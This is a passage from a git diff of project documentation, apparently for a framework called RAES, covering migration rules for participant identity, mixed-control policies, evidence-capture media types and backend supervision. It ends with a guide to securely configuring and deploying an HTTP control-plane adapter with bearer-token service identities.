evidence of that recorded legacy decision, with its limitation +disclosed. It is not a valid amended evaluation, and retaining it is not +authority for a new dispatch. Pending legacy work requiring unavailable or +unsafe interpretation is withheld for explicit owner reconciliation; no +provider re-run or manufactured revised record can repair its history. + +Live interpretation/protocol replacement within an active evaluation is +unsupported. Quiesce admission, finish or explicitly reconcile pending claims +through the existing operation lifecycle, then admit a new apparatus binding +at a new cut with supported consumers. Do not assume durability authorizes +resumption, retry or a new trial. Indeterminate effects retain their state +until exact backend idempotency/readback and the authored recovery policy +authorize a conclusion. Changing binding, participant or episode cannot reset +a surviving causal root's consumed budget or turn an old key into a new effect. + +Provider-state migration needs an explicit old/new scope/version mapping and +authority; an implementation rename is insufficient. Cross-scope migration +must retain isolation and atomicity or refuse. Append migration evidence; +never mutate old state/evaluation records to appear newly conforming. + +## Coordinated publication and verification + +Adoption uses the existing API-424 family and its owners: + +- Closed selection/context/result/effect models and bounded ingress under + `raes_contracts`; normative schemas, publication entries, fixtures, exports, + `schema_bundle()` and packaged corpus remain identical representations. +- Typed protocol inputs under `raes_backend_protocols`, importing neutral + contract DTOs, with no open kwargs or runtime/backend dependency. +- API-407 support negotiation and independently trusted context validation; + one `derive_control_composition` authority for live and recorded decisions. +- RUN-320 slot/stage invocation, scoped state, ordinary crossings/effect owners, + atomic commit, final-invocation fences and version-aware retained history. +- Conformance consumers and documentation, with explicit distinctions between + declarations, installation, bounded contract evidence and realization. + +Use publication `last_change` summaries/content hashes, removed-schema +tombstones when needed, explicit contract routing and package resources under +ADR-009/061. Do not manufacture a second publication ledger or new state store. + +Required consumer evidence includes disjoint sinks under one B; zero-slot and +unknown-coverage rejection; A → B → A with exact predecessor binding; optional +malformed/support failures versus mandatory dependency loss; bounded-support +acceptance/refusal against admitted constraints; false-trigger records; +parent deny/withhold in all legacy-shaped phases; independently authorized +audit; phase-cycle rejection; shared-state conflict/failed commit; and old/new +snapshot replay preserving keys, budgets and no-new-dispatch behavior. The +bounded design witnesses in this delivery do not substitute for those real +consumer and backend checks. diff --git a/docs/migration/ifc-profile-variability.md b/docs/migration/ifc-profile-variability.md new file mode 100644 index 000000000..30a323231 --- /dev/null +++ b/docs/migration/ifc-profile-variability.md @@ -0,0 +1,91 @@ +# IFC profile variability migration + +This is the adoption contract for [ADR-114](../decisions/adrs/adr-114-ifc-profile-variability-and-publication.md) +and [IFC-01–IFC-07](../../specs/formal/participant-semantics/ifc-profile-variability.md). +It publishes no converter, schema, profile artifact or deprecation window. + +## Interpretation and historical data + +Keep the amendment identity `ifc-profile-variability/rev1` distinct from +`sem-233/rev1`, `sem-235/rev1`, profile revisions/digests and wire/protocol +versions. Do not infer adoption from new prose, a backend name or a generic +modular-control capability. Negotiate exact supported interpretations across +producer, resolver, provider, runtime, store, snapshot and downstream readers. + +| Input | Required treatment | +| --- | --- | +| Legacy security profile and relation | Retain exact original bytes, digest, token meaning, source context and release interpretation. Use the legacy reader with its stated limitations. | +| New owner-aware publication | Old readers reject it. New readers require exact publication, schema/content and semantic support, independently trusted bindings and per-obligation release authority. | +| Mixed-revision archive | Route each record through its exact supported reader; retain order and evidence. Unknown or ambiguous interpretation is unsupported/unverifiable, not latest-version fallback. | +| Coarse `restricted` value without owner evidence | Preserve it. Do not invent A/B obligations, map it to public/bottom or claim an owner-aware conversion. | +| Pending effect or retained memory under a replaced profile | Preserve the original identity, labels, provenance, cut, release and outcome records; apply the new-cut rules below before any new action. | + +Source and possible-writer provenance never disappears when an obligation is +discharged. Historical `integrity:endorsed` is interpreted by its original +profile and release record; it cannot become universal or per-owner endorsement. +Do not recompute historical permits, mutate labels or replay effects to make +an archive appear newly conforming. + +## Explicit conversion + +A future published mapping must name source and target profile/semantic/schema +pins, exact source/result identities, transformation authority, affected +coordinates, scope, losses and evidence. Establish that order and conservative +propagation, every required sink and independent release remain sound. Preserve +functional distinctions the author required, not only prohibition safety. +Cross-profile joins/comparisons are unsupported without that relation. + +Independent historical owner evidence may support a new derived value through +an authorized mapping; it does not authorize rewriting the source. If evidence +is incomplete, retain unsupported/unverifiable status. An explicit new author +decision may choose a different requirement, but it is a semantic change with +disclosed limits, not a lossless migration. Authorization cannot waive another +owner's unresolved obligation implicitly. + +For endorsement, reconcile the semantic discharge relation with the current +wire requirement for source-to-result token replacements. A future carrier or +mapping must preserve the unreleased owners and immutable writer provenance, +and prove exact authority over each changed obligation. Renaming `endorsed` +or adding a token to the legacy artifact does not provide that correspondence. + +## Live bindings, memory and pending work + +Reuse the [applicability migration contract](control-applicability-and-evaluation.md) +and existing operation lifecycle. Quiesce affected admission, finish or +explicitly reconcile pending claims, then admit a supported binding at a new +cut. Never swap profile interpretation inside a live evaluation. Revalidate +required coverage and guarantees before effects and disclosure; current v1's +non-exact support rejection cannot be bypassed by a migration flag. + +Retained participant memory and shared/provider state retain every possible +input obligation. Migration needs exact old/new state scopes, versions, +configuration/authority bindings and supported atomicity. Episode/controller +change and provider replacement do not erase dependencies. Unknown migration +coverage prevents affected release, even if a new profile would otherwise +accept its known tokens. + +Preserve effect identities, receipts, history heads, causal roots and consumed +budgets. A new profile is not a new retry key. A prior permit/release is not +authority at a new sink or cut. Indeterminate external effects remain +indeterminate until the existing owner/readback and recovery policy resolve +them; admission or commit is not evidence of application. Retaining a record +does not authorize automatic resumption or repeated dispatch. + +## Publication owners and adoption evidence + +SEM-233 owns the security invariant and owner-specific release meaning; +SEM-235 owns governed domain publication and composition. API-424 and the +incumbent flow-contract owners must coordinate closed carriers and protocol +consumers, using API-407 support evidence. RUN-320 owns modular orchestration +adoption; concrete backend instrumentation and assurance remain separately +evidenced. This issue changes none of those runtime fulfillment statuses. + +Use ADR-009/061 publication records, fixtures, generated-schema parity and +packaged resources. Preserve stable-contract compatibility; record permitted +draft changes without silently changing historical interpretation. Required +real-consumer evidence includes unknown profile/token rejection, shape-valid +but unpublished artifacts, two-owner selective declassification and endorsement, +missing source/sink/control-flow coverage, bounds exceeded, stale cuts, +unexpected weakening, mixed-revision replay and pending-effect reconciliation. +Denied live paths must show zero prohibited calls/disclosures and truthful +durable outcomes. The finite #1354 witnesses do not establish those live claims. diff --git a/docs/migration/participant-execution-control.md b/docs/migration/participant-execution-control.md index f9bbfa6fc..aefa6b8ac 100644 --- a/docs/migration/participant-execution-control.md +++ b/docs/migration/participant-execution-control.md @@ -1,37 +1,35 @@ -# Participant Execution Control Migration +# Participant execution control and temporal bindings -Issue #898 strengthens `capabilities.participant_runtime` for every backend -that declares `autonomous_execution`. Backends that do not make that claim are -unchanged. +Backend capabilities are optional. Declare what the backend can realize; +the processor checks the selected scenario against that manifest. A serial +backend need not implement concurrency or any native lifecycle control. -An autonomous backend must now: +For autonomous execution, publish exact action/target/implementation +`execution_bindings` and finite limits. Independent action and target lists +do not establish support for every combination. Declare only implemented +`start`, `pause`, `resume`, `drain`, `reset` and `teardown` controls. Each claimed +control needs native execution, readback and evidence; unclaimed operations +are rejected before invocation. Conformance probes only claimed controls and +requests concurrent work only when concurrency is declared. -- replace independent action/target support as its admission authority with - exact `execution_bindings`; -- declare all `start`, `pause`, `resume`, `drain`, `reset`, and `teardown` - controls; -- declare bounded concurrency with positive service capacity and at least two - concurrent actions; -- implement native binding, lifecycle mutation/readback, and bounded batch - methods; and -- publish the three participant execution contract ids plus operation - receipt/status and runtime snapshot support. +Action requests are generation-bound. Reset and shared-clock reset increment +the generation; stale native completions cannot commit. Pause stops new +admission, drain requires zero reserved/in-flight work, and teardown releases +resources. These rules govern claimed operations, not a required backend +feature baseline. -Do not inherit or emulate lifecycle success by editing the portable snapshot. -The backend control method must perform and observe scheduler/shared-time -coordination, bounded drain, reset, and resource release. RAES rejects a -successful return whose readback did not change to the action-specific state -or did not add operation and evidence references. +Issue #216 adds opt-in `participant-shared-time/v1` action bindings for bounded +deadline and dwell guarantees. Existing v1/v2/v3 policies keep their meanings. +To admit a bound action, one manifest offer must include all its compiled +`temporal_contract_digests` alongside its action, targets, implementation and +limits. A matching claim permits admission; event or continuous-coverage +evidence establishes the runtime result. No cancellation or rollback is +implied by a missed guarantee. -Action requests are generation bound. Reset and shared-clock reset increment -the generation; stale queued work and stale native completions are rejected. -Pause stops new admission, bounded drain requires zero reserved/in-flight work, -and teardown releases resources. A wall-pacing failure is visible as degraded, -not-ready, paused service state with a pacing-deviation evidence reference. +The reference runtime implements these bindings through autonomous policies, +not manual action ingress. Externally paced and backend-owned wall-clock +policies remain valid SDL but need another transition driver. These reference +limitations neither invalidate a backend nor limit a richer implementation. -Existing scenario SDL and both autonomous policy profiles remain valid. The -change is backend-facing and fail closed: a previous autonomous manifest -without execution bindings and lifecycle/concurrency declarations is rejected -during manifest validation or planning. Conditional target conformance also -executes two native actions and the lifecycle, so adding placeholder methods is -not sufficient. +See the [formal contract](../../specs/formal/participant-semantics/autonomous-execution.md#bounded-action-guarantees-act-614) +for bounds, evidence, reset and persistence rules. diff --git a/docs/migration/participant-identity.md b/docs/migration/participant-identity.md new file mode 100644 index 000000000..bba74b5e4 --- /dev/null +++ b/docs/migration/participant-identity.md @@ -0,0 +1,112 @@ +# Migrating Participant Identity and Objective Assignment + +Issue #1338 removes the ambiguous canonical fields `Agent.entity` and +`Objective.agent/entity`. The `agents` section remains; its map key is identity. +See the [current contract](../../specs/sdl/participant-identity.md) and +[ADR-109](../decisions/adrs/adr-109-participant-identity-and-objective-assignment.md). + +## Choose meaning before rewriting + +| Legacy source | New source | Required decision | +| --- | --- | --- | +| `agents.P.entity: E` | `agents.P.affiliations: [E]` | Deterministic; single-affiliation role fallback preserves the prior role. | +| `objectives.O.agent: P` | `objectives.O.assigned_participant: P` | Deterministic; no owner is invented. | +| `objectives.O.entity: E` | `objectives.O.owner: E` | Explicit owner-only decision, or add an explicitly selected `assigned_participant`. Never choose from affiliated participants automatically. | + +Actions now always reference declared action contracts. Assigned objectives +additionally constrain actions to those available to the selected participant. +Do not create a dummy participant or action declaration merely to pass migration. +An invalid legacy label needs an authoring correction and a new source digest. + +## Explicit Python migration + +```python +from raes.participant_migration import ( + ParticipantIdentityMigrationContext, + migrate_participant_identity, +) +from raes.semantic_revisions import source_byte_digest + +# source is the unchanged legacy YAML text. This map records author decisions. +context = ParticipantIdentityMigrationContext( + source_digest=source_byte_digest(source), + entity_objectives={"/objectives/restore-service": None}, # owner only + # Use a declared participant name instead of None for explicit assignment. +) +result = migrate_participant_identity(source, context=context) +if result.succeeded: + canonical = result.output +else: + diagnostics = result.report.diagnostics # bounded codes and pointers +``` + +Decision keys are JSON pointers (escape `~` as `~0` and `/` as `~1`). Every legacy +entity objective needs exactly one decision. Deterministic-only sources need no +context. The report binds source bytes, decision policy, and canonical target +digests. Preserve that report with the newly published artifact; the function +does not overwrite source files. Publish under a new artifact/version binding. + +Missing or stale decisions, unknown or conflicting fields, unresolved participant +relation variables, dangling references, +and invalid action constraints produce no partial output. Imports and materialized +artifacts are refused: migrate source modules separately, then explicitly update +their version/digest bindings. Linked external-concept bindings need rebinding +to the new source/target digest through their existing admission workflow; this +function does not migrate linked artifacts. Historical compiled snapshots, +participant episodes, action histories, and stored evidence retain their original +schema identifiers and coordinates. + +The explicit reader supports the pre-1338 authoring lineage indefinitely until +a separately reviewed deprecation notice establishes a removal window. This is +not a promise that canonical parsing accepts legacy fields. The +[deprecation record](../../specs/evolution/deprecation-records.yaml) records +field removal eligibility and source-reader retention. + +## Author-task walkthrough and checks + +Declare `agents: {harness: {}}` for one composite subject: no organization or +component inventory is required. Declare two keys with `affiliations: [team]` +to retain two identities. Add `role: blue` to override the single-affiliation +fallback; two affiliations without direct role yield no effective role. + +An objective with `owner: team` and valid success assertions is organizational +intent. Add `assigned_participant: harness` only when that subject is designated +to pursue it. A global action contract is required even before assignment; +assignment adds the participant action-subset check. Relationship and autonomous +evaluation references follow this explicit assignment, not `owner`. + +The tests `test_issue_1338_participant_identity.py`, +`test_issue_1338_identity_stages.py`, `test_issue_1338_identity_authority.py`, and +`test_issue_1338_identity_migration.py` exercise these author tasks and their +negative cases. From `implementations/python`, run `.venv/bin/python -m pytest` +with those four `tests/` paths. These are declaration/compiler checks, not proof +of live effects. Only a runtime action record identifies who actually acted; +an owner or assignee alone supplies no such evidence. + +## Repository fixture disposition + +The preflight inventories 21 active structured documents: 28 participant entity +bindings, 20 agent objectives, and seven entity objectives. Deterministic fields +use the mappings above. All seven entity objectives carry no action constraints; +their disposition is explicitly **owner-only**, preserving organizational intent +without inferring a participant. They occur in the formal-semantic-validation +valid/invalid corpus and the hospital, port-authority, reconciliation v1/v2, +and satcom scenarios. The hospital's two `ransom-crew` participants stay distinct. + +The remaining documents are the minimal scenario, single-objective task, +parallel-objective workflow, observational study, timed-run, and action-contract +library templates; the enterprise participant scenario; the external-concept +autonomous subject fixture; and valid/invalid mixed-control, participant-inject, +and participant-relationship fixtures. Inline tests are migrated alongside them. +Historical audit specimens remain unchanged as evidence of the audited model. +The two original formal-validation fixtures also remain byte-for-byte historical +inputs. The current corpus uses separately versioned `participant-identity-v2` +successors with explicit ownership; the positive fixture also uses canonical +`compute` spelling. New evidence releases replay those successors without +rewriting historical snapshots, analyses, or release pins. + +The hospital, port, and satcom examples now declare their existing action intent +as portable abstract action contracts, with explicit independent-authorization +preconditions and intended-effect subjects. This is an authored example update, +not an automatic migration rule: the migrator still refuses undeclared actions. +These contracts claim no backend procedure, successful effect, or authority. diff --git a/docs/migration/required-capture-admission.md b/docs/migration/required-capture-admission.md index 44b8321d8..13e054616 100644 --- a/docs/migration/required-capture-admission.md +++ b/docs/migration/required-capture-admission.md @@ -1,5 +1,19 @@ # Required Capture Admission Migration +Issue #1237 returns an immutable, process-local content proof from authoritative +run validation. Metadata is snapshotted and revalidated before reader callbacks; +consumers must retain that proof and reject it after task/run content changes. +Revalidate from bytes after serialization or a process boundary. + +Evidence validation admits at most 1024 artifacts, capture specifications, +capture requirements, records, or reader entries per invocation, with 256 MiB +aggregate declared artifact bytes and 64 MiB per artifact. Shared artifacts are +read once, but every capture requirement still receives its own relation, +metadata, integrity, output-contract, and field-selector checks. Artifact +locators remain inert: credential userinfo, secret query fields, fragments, host +paths, and `file:` URIs are rejected; published relative artifact paths remain +supported. Proof bindings retain only a locator identity digest. + Issue #1112 changes capture support from descriptive capability discovery to a fail-closed execution contract. @@ -40,3 +54,77 @@ record, and artifact. Study conditions that require evidence consume the same validated requirement-to-artifact bindings. Historical `satisfies_refs`, payload summaries, and backend assertions remain metadata; they are not proof of emitted content. + +## Media-type coherence (issue #1401) + +Required capture currently has a closed, JSON-based output-proof vocabulary. +Until a separately governed byte contract and verifier exist for another +encoding, the eligible media types are `application/json` and the registered +array-root `application/jsonl` encoding. Reject an entire authored +SDL `media_types` list or experiment `expected_media_types` list if any member +is unsupported; a supported alternative must not mask an impossible one. +`text/plain`, `application/x-ndjson`, and PCAP are therefore invalid required +capture declarations. This tightens earlier SDL authoring behavior, including +the PCAP example in the DSL-124 test, and needs an explicit authoring diagnostic. +An omitted SDL media-type list remains unconstrained on this dimension. + +The authoritative eligibility source is +`raes_contracts.evidence_output_validation.evidence_output_registrations()`: +registry resolution couples each output-contract id to its published schema, +semantic validator, and JSON root, from which the supported encodings derive. +An explicit SDL `output_contract` or a +capture-spec `output_contract` must resolve there, and every declared media +type must be valid for that specific contract. An SDL requirement with no +output contract retains its existing intent-only semantics, but its declared +media types must still belong to the union of eligible encodings. In particular, +`application/jsonl` cannot be paired with the object-root +`experiment-evidence-record-v1`. Neither that record contract nor an arbitrary +`application/json` label licenses unrelated JSON or text artifact bytes. + +Keep one eligibility rule shared by SDL and capture-spec validation and the +existing offer and content validators. The model validators must expose an +explicit unsupported-media or incompatible-contract error; the published SDL, +capture-spec, and backend-manifest schemas and their semantic-invariant metadata +must not imply broader eligibility. Preserve the existing atomic offer matcher, +admission diagnostics, bounded byte reader, checksum and locator checks, schema +and semantic validation, RFC 6901 field checks, and process-local proof object. +The field selectors address the decoded JSON document; for JSON Lines they +address the decoded array. Do not interpret them as selectors into arbitrary +text, or use an evidence-record envelope as a stand-in for the artifact bytes. + +This decision governs required-capture proof, not descriptive legacy +`supported_media_types` summaries, runtime capture implementation, storage, +export, or a generic non-JSON contract framework. A future encoding belongs as +an explicit registry-owned contract/encoding plus bounded byte parser and +content proof, with publication and conformance evidence before it becomes +eligible at authoring or in an offer. No URI fetch, credential handling, or +serialized proof token is introduced here. + +## Shared proof and extension points + +Issue #1237 makes `validate_experiment_run_evidence()` and +`validate_experiment_run_against_task()` return `ValidatedRunEvidence` from +`raes_contracts.evidence_proof`. Task observation checks, metric artifact +relations, study allocation, and evidence conditions consume that proof. +Its bindings contain immutable snapshots of the validated capture, record, +and artifact identities. Canonical task/run content digests prevent reuse for +another run or after the validated inputs change. Callers must obtain a new +proof by validating the exact content again; reference tuples and serialized +metadata cannot construct a proof. Structural-only validation does not produce +evidence bindings. + +Evidence output eligibility lives in +`raes_contracts.evidence_output_validation.evidence_output_registrations()`. +Each entry couples a published schema resolved through the contract corpus, +the owning semantic validator, and its JSON root. JSON Lines is supported only +for array roots. Offers and emitted content fail closed if either the schema +or semantic owner is missing. Schema references resolve offline. +`contracts/schema-publication-manifest.json` remains the publication ledger. + +Capture extensions use `raes_contracts.capture_dimensions.CAPTURE_DIMENSIONS`. +Each dimension declares its authored projection, collection representation, +comparison rule, and diagnostic. The Pydantic offer and protocol dataclass +retain explicit fields. Additions must cover both authored projections, +manifest round trips, independent matching/diagnostic cases, and the shared +pre-effect conformance tests. Exact scope targets, wildcard subsets, media +overlap, availability, fidelity, and disclosure retain distinct semantics. diff --git a/docs/migration/reusable-mixed-control.md b/docs/migration/reusable-mixed-control.md new file mode 100644 index 000000000..c16e2e566 --- /dev/null +++ b/docs/migration/reusable-mixed-control.md @@ -0,0 +1,129 @@ +# Reusable mixed-control compatibility and migration + +This is the adoption contract for +[ADR-110](../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md) +and [MC-01–MC-09](../../specs/formal/participant-semantics/reusable-mixed-control.md). +It publishes rules, not a working migrator, new parser form or wire schema. + +## Producer and reader boundary + +`mixed-control-policy-occurrence/rev1` identifies the new semantic decision. +Existing `MixedControlTransition` declarations and +`participant-control-occurrence-v1` / wire `1.0.0` retain their fixed-coordinate +interpretation. A suffix is not a stability promise: the current publication +is draft under ADR-061. Historical meaning remains protected regardless. + +Adoption requires explicit, closed authoring/compiled and occurrence/snapshot +interpretation discriminants. A new occurrence lineage must carry the changed +meaning; do not reinterpret historical v1 data through optional fields or +default values. Policy revision, semantic pin, wire discriminator, schema hash +and store version remain independently recorded. The following matrix is the +required adoption behavior, not a claim that a new reader already ships: + +| Producer artifact | Existing reader | Reader implementing the amendment | +| --- | --- | --- | +| Legacy fixed-coordinate policy and v1 occurrence | Existing semantics/checks | Dispatch to retained legacy interpretation and pinned compiled policy. | +| Explicit reusable-policy or finite-script under the new semantic pin | Reject unsupported form/version | Validate declared form; instantiate fresh exact occurrence coordinates. | +| Revised accepted/rejected occurrence shapes | Reject unsupported lineage | Resolve pinned policy, kind/target/cut and truthful disposition before use. | +| Archive containing episodes of both forms | Reject unsupported episodes for reconstruction; do not reinterpret | Select each episode's exact reader and policy, preserving archive order and evidence. | +| A new live episode with unsupported compiler, runtime or downstream consumer | Refuse admission | Refuse admission until every selected path supports the required semantics/ranges. | + +Structural acceptance alone is neither semantic compatibility nor operational +interoperability. Unknown interpretation cannot fall back to the latest reader, +a generic dictionary, a matching version string or ordinary environment inject. + +## Authoring conversion + +Retaining legacy authoring is a valid compatibility path; it remains finite. +An explicit source-preserving conversion to **finite-script** is permitted only +when every accepted legacy trace constraint is preserved: initial state, +from/to states, kind, controller/authority, targets/proposal links, exact +revisions, order, windows, evidence and finite extent. A unique total order does +not by itself prove a single executable sequence: legacy graph validation can +establish revision pairs along different declarations. If there is no proven +equivalent sequence, stop conversion and require an author decision. + +In particular, a converter must reject automatic conversion when: + +- an approval/direction also changes controller identity, contrary to the new + handoff-only transfer rule; +- acting-source and destination-authority joins disagree; +- an order value was implicitly treated as a clock tick without an admitted + mapping, or a required historical validity/evidence basis is unavailable; +- target identity/revision or finite branch/sequence intent is ambiguous; or +- delivery/control policy identity was conflated by equal revision strings. + +An author can explicitly restructure those cases, recording source digest, +decisions and resulting semantic pin. They are semantic changes, not a claimed +equivalent rewrite. A legacy approval that moved control may need separate +handoff and approval applications with separately admitted order/evidence. + +Converting a finite declaration to **reusable-policy** always changes the +permitted trace set and requires an explicit author decision. Removing fixed +revisions or copying the same edge into a cycle does not authorize that change. +Do not deduce new authority, clock mappings or future completion receipts. +Keep transformed-proposal lineage and all original source artifacts. + +## Occurrences, snapshots and ongoing episodes + +Never rewrite historical IDs, actual order, revisions, dispositions, controller +attribution, evidence or markings. Do not renumber an occurrence revision to +match a state revision: the former may count records across rejections and +episodes. V1 non-handoff history can depend on the original compiled transition +for its resulting state; retain that dependency and its content pin. + +Historical v1 rejection records keep their original assertions even where the +new rejected-attempt shape can represent more truthful attempted/evaluated +coordinates. Conversion cannot manufacture evidence that an old record omitted. +Old delivery bindings keep their original equality and destination-state rules; +the new source-controller and independent-policy rules do not apply retroactively. + +Live policy or interpretation upgrade inside an episode is unsupported. Drain +or terminate through the incumbent lifecycle, preserve indeterminate effects +for reconciliation, then explicitly admit a new episode with the selected +supported policy. Initialization must validate its authority and mark the +predecessor relation; copying a policy address is insufficient. Process recovery +keeps the existing episode and store keys. Exact old retries remain historical +receipt lookups under current access authorization; a new episode does not +create a new namespace for the same principal/operation/client key. + +Mixed-episode archives require per-episode pins and complete original context. +An archive reader verifies each episode using its own interpretation. It may +not fabricate a single contiguous controller-state revision across episodes. +If a reader lacks a historical policy, authority/cut evidence or format, it +reports reconstruction as unsupported/unverifiable and preserves the bytes. + +## Coordinated adoption and publication + +The implementation boundary is one coherent slice across these incumbents: + +1. Closed SDL models, safe parsing, semantic references, variable instantiation, + composition rewriting and deterministic typed compiler children. +2. API-409 occurrence and rejected-attempt carriers/contextual joins, RUN-310 + target eligibility, state fold and exact-cut atomic history/receipt/audit. +3. DSL-142 directed-delivery declarations and actual control-application joins, + independent disclosure-policy resolution and delivery consumption/evidence. +4. API-423/SEM-233 crossing joins, API-424 effects and range/ref limits, SEM-234 + provider/phase links, conformance readers and runtime snapshot recovery. + +Capability admission must reject a selected path that lacks the new semantics; +do not weaken incumbent validators to make it accept new data. In particular, +an ordinary DSL-142 disclosure with identical source/result refs is not silently +converted to an API-424 inject effect requiring a fresh produced result. + +Govern all affected embedded schemas, including SDL authoring, instantiated +scenario, instantiated-scenario snapshot, materialized scenario and +satisfiability evidence, plus direct control occurrences and runtime snapshots. +Use the existing publication manifest's per-contract records, `last_change` +hashes, removal tombstones when applicable and `schema_bundle()` parity under +ADR-009/061. No schema is changed or removed by this design delivery; no +deprecation/removal window begins here. No package version or release history +is edited by this decision. + +Required adoption evidence includes two cycles through the same compiled edge +in one real episode; all-kind positive/negative contextual validation; exact +concurrent/stale/authority/time/target rejection; finite-script bounds; mixed +archive replay with old policy pins; unchanged legacy fixtures; failed atomic +commit and lost-response retry; and exact directed-delivery joins at the actual +final sink. The bounded design model is not a substitute for those consumer +tests or backend evidence. diff --git a/docs/public/api/contracts.rst b/docs/public/api/contracts.rst index 93595c34b..7f255bb2f 100644 --- a/docs/public/api/contracts.rst +++ b/docs/public/api/contracts.rst @@ -59,3 +59,21 @@ compatibility, decision-surface modes, tool-affordance expectations, and constraints. The provenance record preserves the participant implementation, selected manifest, selected configuration reference, participant contract versions, and decision-surface exposure policy used in a run. + +Backend operation supervision +----------------------------- + +The optional backend protocol reports evidence for one admitted invocation. +The shared runtime retains authorization, scenario execution and terminal state. + +.. automodule:: raes_contracts.contracts.backend_operation + :members: + +.. automodule:: raes_contracts.contracts.backend_operation_response + :members: + +.. automodule:: raes_contracts.contracts.backend_operation_validation + :members: + +.. automodule:: raes_backend_protocols.operation_supervision + :members: diff --git a/docs/public/backends.md b/docs/public/backends.md index b14bde4a1..e0ed7a422 100644 --- a/docs/public/backends.md +++ b/docs/public/backends.md @@ -18,3 +18,13 @@ environment service. Start with the [backend schemas](https://github.com/OpenRAE/rae/tree/main/contracts/schemas/backend-manifest) and the [conformance API](api/contracts.rst). + +Backends can also report what they built as SDL. The runtime saves this record +with the run. See [SDL run records](https://github.com/OpenRAE/rae/blob/main/docs/explain/reference/materialization-attestations.md) +for the contract and setup. + +The optional operation-supervision profile defines requests, progress, +cancellation and effect reports for backend authors. Read the +[protocol and migration guide](https://github.com/OpenRAE/rae/blob/main/docs/explain/reference/backend-operation-supervision.md). +These contracts keep unknown effects explicit. Publishing them does not certify +that a backend can interrupt work or recover after a failure. diff --git a/docs/public/guides/control-plane.md b/docs/public/guides/control-plane.md new file mode 100644 index 000000000..04f7f4b55 --- /dev/null +++ b/docs/public/guides/control-plane.md @@ -0,0 +1,145 @@ +# Serve the runtime control plane + +The optional P2 HTTP adapter serves one durable P1 control-plane core. It is an +administration and service interface for a trusted host application. It is not +a participant API. + +[API-404](https://github.com/OpenRAE/rae/blob/main/docs/requirements/API-404/requirement.md) +owns the guarantees. The +[trust-boundary decision](https://github.com/OpenRAE/rae/blob/main/docs/decisions/issue-1356-control-plane-participant-access-preflight.md) +owns the route and release rules. Follow them if this guide seems to differ. + +## Keep participants behind your host + +Participant clients call your application, not RAES. Your host authenticates +its own caller. It selects the run, participant, exact episode, audience, and +operation that caller may use. It calls RAES with a private service identity. +It releases only an authorized, governed result. + +Never give a browser, participant agent, plugin, or mobile client a P2 token or +proxy identity. Never give one the `RuntimeControlPlane` object or its store. +Possession of any of these is administrative access. + +RAES does not authenticate your end users. An organizational host keeps its +users, groups, tenants, sessions, and policy. A local host applies its own +caller boundary. A P2 identity is not an SDL participant, controller, or role. + +## Know what each route admits + +Every served route declares exactly one transport authority. The adapter +refuses to start if a route declares none or more than one. Each authority also +serves only its own HTTP methods: `public-probe` and `administrative-read` serve +only `GET`, and the other two serve only `POST`, `PUT`, `PATCH`, or `DELETE`. + +| Authority | Admitted roles | Routes | +| --- | --- | --- | +| `public-probe` | none | `GET /health/live`, `GET /health/ready` | +| `administrative-read` | backend, operator, auditor | `GET /snapshot`, `/apparatus/operational-summary`, `/operations/{operation_id}`, `/participant-executions/{execution_scope_ref}`, and participant `status`, `history`, and `context` views | +| `administrative-mutation` | backend, operator | Operation submission, workflow cancellation and timeouts, participant episode lifecycle, control occurrences, and participant execution control | +| `operator-resolution` | operator | `POST /operations/{operation_id}/resolution` | + +Every authenticated route also requires an identity bound to this exact +target. FastAPI's `/openapi.json`, `/docs`, and `/redoc` describe the API. They +carry no runtime state. + +The core applies further checks after admission: + +- Operation readback requires the original actor and authorization scope. + Another actor gets the same `404` as an unknown operation. +- A control occurrence requires a matching participant/controller binding. +- With a crossing-policy resolver, a participant view requires exactly one + matching participant/audience binding. RAES commits the API-423 crossing + before it writes the view. + +A read role admits the full snapshot, even when the identity also carries an +audience binding. An identity with bindings but no role is refused on every +route. There is no participant-limited P2 credential. + +`app.state.control_plane_route_authority` maps each `(method, path)` to its +authority. Use it to build a proxy allowlist for your host's outbound calls. + +## Configure service identities + +```python +from raes_runtime import ControlPlaneProfile +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_security import ( + ControlPlaneIdentity, + ControlPlaneRole, + ControlPlaneSecurityConfig, + ParticipantAudienceSubjectBinding, +) + +host_service = ControlPlaneIdentity( + identity="host-service", + roles=frozenset({ControlPlaneRole.BACKEND}), + target_name=control_plane.target_name, + participant_audience_subjects=( + ParticipantAudienceSubjectBinding("participant.alice", "audience:alice-console"), + ), +) +security = ControlPlaneSecurityConfig( + bearer_tokens={secret_store.read("raes-host-token"): host_service}, +) +app = create_control_plane_app(control_plane, security=security, profile=ControlPlaneProfile.P2) +``` + +Load each bearer token from your deployment's secret channel. Use a frozenset +for roles and tuples for bindings. The configuration refuses mistyped or +mutable authority fields. It also refuses an identity name or binding set that +exceeds the operation record limits: 256 characters per name or scope entry, +and 64 scope entries. A participant address in a binding cannot contain `:`. +It refuses a token or identity name with leading or trailing whitespace, so +strip a trailing newline from a secret file before you use it. The two trust +flags must be real `bool` values, and the size and queue limits must be `int` +values; parse strings from environment variables or YAML before you pass them. +An unknown bearer token fails with `401`. It never falls back to proxy headers. + +Every transport-admission refusal returns the same body for its status: `401` +is always `unauthorized`, and `403` is always `forbidden`. The specific reason +goes only to the audit log. A malformed request body gets `422` only after the +caller is admitted. + +Enable `trust_proxy_identity_headers` only behind a proxy that strips +client-supplied identity headers and sets verified ones. +`ControlPlaneSecurityConfig.strict_defaults()` trusts no token or header. + +## Release participant views safely + +- Configure a crossing-policy resolver before any participant-facing use. + Without one, `status`, `history`, and `context` return legacy administrative + projections. Do not release them to a participant. +- Check the returned participant, episode, and source state cut against your + selection before release. +- Reauthorize every release, including cached, retried, and replayed results. + A same-key replay returns the retained view to its original actor only. +- Never turn a snapshot, operation record, history, receipt, or error into a + participant view by filtering it. + +## Deploy the adapter + +- Serve P2 on an administration or service network. Participants must not + reach its socket. +- End TLS at your proxy. Authenticate service callers there as well. +- Run one worker with reload disabled. The adapter refuses a multi-worker + environment. +- Keep tokens out of URLs, process arguments, environment dumps, logs, crash + reports, fixtures, backups, and SDL. +- Every response carries `Cache-Control: no-store`. Do not configure proxy + caching for this API. +- Scope any host cache by caller or session, run, participant, episode, + audience, policy, and source revision. Invalidate it when any of them changes. +- Return your own participant-safe errors. Do not forward RAES errors, and do + not let `403` or `404` reveal whether another participant exists. +- Keep the store directory private. Treat store backups as privileged. + +## Add a route to the adapter + +Register the route inside `create_control_plane_app()`, before the adapter +checks its route inventory. Do not change the returned app. Its routes, +middleware, exception handlers, and dependency overrides are sealed at +construction; after any change, startup fails and every 